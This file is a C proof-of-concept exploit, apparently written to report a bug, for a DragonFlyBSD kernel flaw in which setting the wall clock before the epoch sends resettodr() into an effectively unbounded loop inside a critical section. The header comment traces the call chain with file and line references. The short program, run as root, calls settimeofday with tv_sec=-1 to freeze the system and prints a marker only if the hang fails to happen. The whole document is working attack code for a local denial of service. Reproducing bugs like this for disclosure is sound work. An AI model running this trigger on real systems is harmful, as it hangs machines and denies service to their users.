DF-5330 / df5330.c
/* * DF-5330 - DragonFlyBSD sys/platform/pc64/isa/clock.c resettodr() * pre-epoch wall clock -> unbounded year loop inside crit_enter() * -> permanent kernel hang (privileged local DoS). * * Chain: * settimeofday({tv_sec:-1}) [kern/kern_time.c:655] * -> caps_priv_check_self(SYSCAP_NOSETTIME) ok as root * -> settime() [kern/kern_time.c:127] * -> set_timeofday(&ts) wall clock = 1969-12-31 * -> resettodr() [kern/kern_time.c:167] * -> microtime(&tv) tv.tv_sec == -1 * -> tm = tv.tv_sec (unsigned long) tm = 0xFFFFFFFFFFFFFFFF * -> year loop clock.c:1175 ~5e16 iterations, * crit_enter() held (clock.c:1161), masterclock_lock held. * * Expected: settimeofday() never returns; the syscall thread spins in * kernel space on cpu0 with preemption/interrupts deferred; system * freezes (no panic, no console output). Success criterion for the * bug: the marker line "settimeofday RETURNED" is NEVER printed and * the guest becomes unresponsive. * * Build: cc -O -o df5330 df5330.c * Run (as root): ./df5330 */ #include <sys/time.h> #include <stdio.h> int main(void) { struct timeval tv; tv.tv_sec = -1; /* 1969-12-31T23:59:59Z, before the epoch */ tv.tv_usec = 0; printf("DF-5330: setting wall clock to tv_sec=-1 ...\n"); fflush(stdout); if (settimeofday(&tv, NULL) < 0) { perror("settimeofday"); return 1; } /* NOT REACHED when the bug triggers */ printf("settimeofday RETURNED (bug did not trigger)\n"); fflush(stdout); return 0; } |